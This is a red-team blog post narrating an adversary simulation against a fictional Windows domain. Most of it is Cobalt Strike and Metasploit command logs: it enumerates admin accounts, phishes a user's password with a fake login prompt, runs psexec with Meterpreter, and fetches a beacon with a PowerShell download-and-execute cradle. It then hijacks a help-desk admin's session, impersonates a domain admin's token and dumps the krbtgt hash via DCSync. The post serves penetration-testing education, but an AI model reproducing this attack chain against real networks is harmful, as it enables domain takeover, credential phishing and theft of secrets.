I recently completed an adversary simulation and thought I would write a short post about some of my experiences.
The target organisation had an interesting mix of both good (for “regulatory compliance” purposes) and bad security practices. Once you’ve been around the block enough, you come to learn that implementing security for the sole purpose of passing compliance audits isn’t all that effective in mitigating against “cyber attack” (yeah, I said it), even against actors that aren’t particularly sophisticated.
We’ll start with a session as the user awhitehead
. Note that everything you see here are fictional representations.
In this little setup, we have the following:
beacon> net computers
Server Name IP Address
----------- ----------
FS-01 172.16.0.199
DC-01 172.16.0.200
WKSTN-01 172.16.0.201
WKSTN-02 172.16.0.202
WKSTN-03 172.16.0.203
beacon> powershell Get-NetGroupMember -GroupName "Domain Admins"
GroupDomain : cyber-lance.local
GroupName : Domain Admins
MemberDomain : cyber-lance.local
MemberName : lshah_da
MemberSID : S-1-5-21-884887136-373167198-2530644098-1110
IsGroup : False
MemberDN : CN=Logan Shah (DA),CN=Users,DC=cyber-lance,DC=local
beacon> powershell Get-NetLocalGroup -GroupName Administrators | Select-Object AccountName
AccountName
-----------
CYBER-LANCE/WKSTN-01/Administrator
cyber-lance.local/Domain Admins
cyber-lance.local/Desktop Support
cyber-lance.local/awhitehead
beacon> powershell Get-NetGroupMember -GroupName "Desktop Support"
GroupDomain : cyber-lance.local
GroupName : Desktop Support
MemberDomain : cyber-lance.local
MemberName : kwilson_adm
MemberSID : S-1-5-21-884887136-373167198-2530644098-1109
IsGroup : False
MemberDN : CN=Keira Wilson (Admin),CN=Users,DC=cyber-lance,DC=local
What we can observe so far:
_da
and _adm
accordingly.(DA)
and (Admin)
to their distinguished names.awhitehead
is a local admin on his workstation, but not with an _adm
account.Knowing this convention makes it easy for us to quickly enumerate potential admin accounts:
beacon> powershell Get-NetUser -Filter "(samaccountname=*_adm)" | Select-Object name, samaccountname
name samaccountname
---- --------------
Keira Wilson (Admin) kwilson_adm
Or find if a standard user has an associated admin account:
beacon> powershell Get-NetUser -Filter "(samaccountname=kwilson*)" | Select-Object name, samaccountname
name samaccountname
---- --------------
Keira Wilson kwilson
Keira Wilson (Admin) kwilson_adm
awhitehead
is a local admin, so there’s potential for us to elevate privs on this workstation. He doesn’t have local admin on any other machine. Before throwing UAC bypasses around, one should always check the UAC configuration.
beacon> powershell Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies
PSChildName : System
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
ConsentPromptBehaviorAdmin : 1
ConsentPromptBehaviorUser : 1
EnableInstallerDetection : 1
EnableLUA : 1
EnableSecureUIAPaths : 1
EnableUIADesktopToggle : 1
EnableVirtualization : 1
PromptOnSecureDesktop : 1
ValidateAdminCodeSignatures : 0
dontdisplaylastusername : 0
legalnoticecaption :
legalnoticetext :
scforceoption : 0
shutdownwithoutlogon : 1
undockwithoutlogon : 1
FilterAdministratorToken : 0
Taken from MSDN:
ConsentPromptBehaviorAdmin : 1 ---> This option prompts the Consent Admin to enter his or her user name and password (or another valid admin) when an operation requires elevation of privilege. This operation occurs on the secure desktop.
ConsentPromptBehaviorUser : 1 ---> This option SHOULD be set to ensure that a standard user that needs to perform an operation that requires elevation of privilege will be prompted for an administrative user name and password. If the user enters valid credentials, the operation will continue with the applicable privilege.
EnableLUA : 1 ---> This policy enables the "administrator in Admin Approval Mode" user type while also enabling all other User Account Control (UAC) policies.
PromptOnSecureDesktop : 1 ---> This policy will force all UAC prompts to happen on the user's secure desktop.
This config broadly translate to the Always Notfiy
setting you find in the Control Panel. In reality, moving that slider affects several registry items at the same time. So in this scenario, the user would see the UAC prompt if we tried any of the usual bypasses.
If we had the users’ password, we could use PsExec to start an elevated session on this machine. You can’t psexec
to and from the same host (at least in CS), so I pulled out the trusty Metasploit Framework. To get the user’s password, all we have to do is ask.
I use a modified version of Matt Nelson’s Invoke-LoginPrompt. The only difference being that mine will pop an error message before prompting for creds - choosing something believable may increase the chance of them submitting without too much fuss. Also, prompting for their standard account password (e.g. to reconnect Outlook) is easier to fool them into inventing a reason why they’d need to enter creds for their admin account.
beacon> powershell Invoke-LoginPrompt
UserName Domain Password
-------- ------ --------
awhitehead CYBER-LANCE Passw0rd!
Now to setup beacon and msf.
beacon> socks 32479
beacon> sleep 0
msf > setg Proxies socks4:163.172.129.30:32479
msf > use exploit/windows/smb/psexec_psh
msf exploit(psexec) > set RHOST 172.16.0.201
msf exploit(psexec) > set SMBDomain cyber-lance
msf exploit(psexec) > set SMBUSER awhitehead
msf exploit(psexec) > set SMBPASS Passw0rd!
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
msf exploit(psexec) > exploit
[*] Started bind handler
[*] 172.16.0.201:445 - Connecting to the server...
[*] 172.16.0.201:445 - Authenticating to 172.16.0.201:445|cyber-lance as user 'awhitehead'...
[*] 172.16.0.201:445 - Selecting PowerShell target
[*] 172.16.0.201:445 - Executing the payload...
[+] 172.16.0.201:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (957487 bytes) to 172.16.0.201
[*] Meterpreter session 1 opened (192.168.41.132:41409 -> 163.172.129.30:32479) at 2017-06-17 21:04:05 +0100
meterpreter > sysinfo
Computer : WKSTN-01
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_GB
Domain : CYBER-LANCE
Logged On Users : 3
Meterpreter : x86/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
I like to hand the session back over to CS so I have everything in one place. I’ll do this by hosting a stageless PowerShell SMB beacon payload and use a reverse port forward to grab it. The reason for doing it this way is that the outbound web proxy in this evironment has NTLM auth, which means processes running in SYSTEM context can’t talk out to the Internet directly.
beacon> rportfwd 6798 163.172.129.30 80
meterpreter > shell
Process 2896 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>powershell.exe -nop -w hidden -c "iex ((new-object net.webclient).downloadstring('http://127.0.0.1:6798/smb'))"
06/17 21:10:40 visit from: 163.172.129.30
Request: GET /smb
page Serves /opt/cobaltstrike/uploads/beacon.ps1
null
beacon> link 127.0.0.1
[+] established link to child beacon: 172.16.0.201
I would never normally recommend going down this route unless you had little alternative.
As it currently stands I have no way of moving laterally across the workstations, but the members of Desktop Support
do because they are local admins. What I could do, is break an application (or carry out some other action) on WKSTN-01
so that awhitehead
needs to contact the support team for assistance. They may then remote over to the workstation, where I can hijack their credentials or running process.
awhitehead
is offered remote assistance by Kiera Wilson (Admin)
, to which he accepts.
Keira will ask Andrew to allow her to respond to UAC prompts, which he will dutifully do.
Keira will then use her credentials to elevate on WKSTN-01
, so she can carry out her investigations / fixes.
We now have keira_adm
authenticated and running elevated processes on the compromised workstation.
beacon> net logons
Logged on users at \\localhost:
CYBER-LANCE\kwilson_adm
CYBER-LANCE\awhitehead
CYBER-LANCE\awhitehead
CYBER-LANCE\awhitehead
CYBER-LANCE\WKSTN-01$
beacon> shell tasklist /v | findstr /i kwilson_adm
cmd.exe 3348 Console 1 2,272 K Unknown CYBER-LANCE\kwilson_adm 0:00:00 N/A
conhost.exe 3116 Console 1 3,988 K Unknown CYBER-LANCE\kwilson_adm 0:00:0100 N/A
beacon> make_token CYBER-LANCE\kwilson_adm Passw0rd!
beacon> psexec_psh wkstn-02 smb
[+] established link to child beacon: 172.16.0.202
beacon> inject 3220 http
3220
was the pid of explorer running as kwilson
. I also rearranged my beacons to the following.
I purposely didn’t continue using kwilson_adm
on WKSTN-01
- if I want to reuse her credentials to take the workstation of another privileged user, it will look more natural coming from WKSTN-02
than 01
. The same reason that once I took WKSTN-02
from WKSTN-01
, I terminated the connection. You wouldn’t normally see connections going 01 -> 02
but rather 02 -> 01
.
To win the game, we now need to find the workstation of a DA, move across and plunder. It’s an obvious failing of this organisation, that even though they’re using separate admin accounts, they’re still used across low-tier workstations. We should be able to find the standard account of a DA logged into a workstation and they’ll be doing something like runas mmc
with their DA creds.
beacon> powershell Invoke-UserHunter
UserDomain : CYBER-LANCE
UserName : lshah_da
ComputerName : WKSTN-03.cyber-lance.local
IPAddress : 172.16.0.203
SessionFrom :
SessionFromName :
LocalAdmin :
beacon> powershell Get-NetComputer | Get-NetLoggedOn | Where {$_.wkui1_username -like "lshah_da"} | Select-Object ComputerName
ComputerName
------------
WKSTN-03.cyber-lance.local
WKSTN-03.cyber-lance.local
beacon> psexec_psh wkstn-03 smb
[+] established link to child beacon: 172.16.0.203
beacon> net logons
Logged on users at \\localhost:
CYBER-LANCE\lshah_da
CYBER-LANCE\lshah
CYBER-LANCE\WKSTN-03$
beacon> shell tasklist /v | findstr /i lshah_da
mmc.exe 3220 Console 2 2,688 K Unknown CYBER-LANCE\lshah_da 0:00:00 N/A
beacon> make_token CYBER-LANCE\lshah_da Passw0rd!
beacon> dcsync cyber-lance.local cyber-lance\krbtgt
[DC] 'cyber-lance.local' will be the domain
[DC] 'dc-01.cyber-lance.local' will be the DC server
[DC] 'cyber-lance\krbtgt' will be the user account
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 17/06/2017 17:22:39
Object Security ID : S-1-5-21-884887136-373167198-2530644098-502
Object Relative ID : 502
Credentials:
Hash NTLM: 8aa0265124c7696166d01c1431ff6c44
ntlm- 0: 8aa0265124c7696166d01c1431ff6c44
lm - 0: b5cf441f199c4456800a29a0312146b7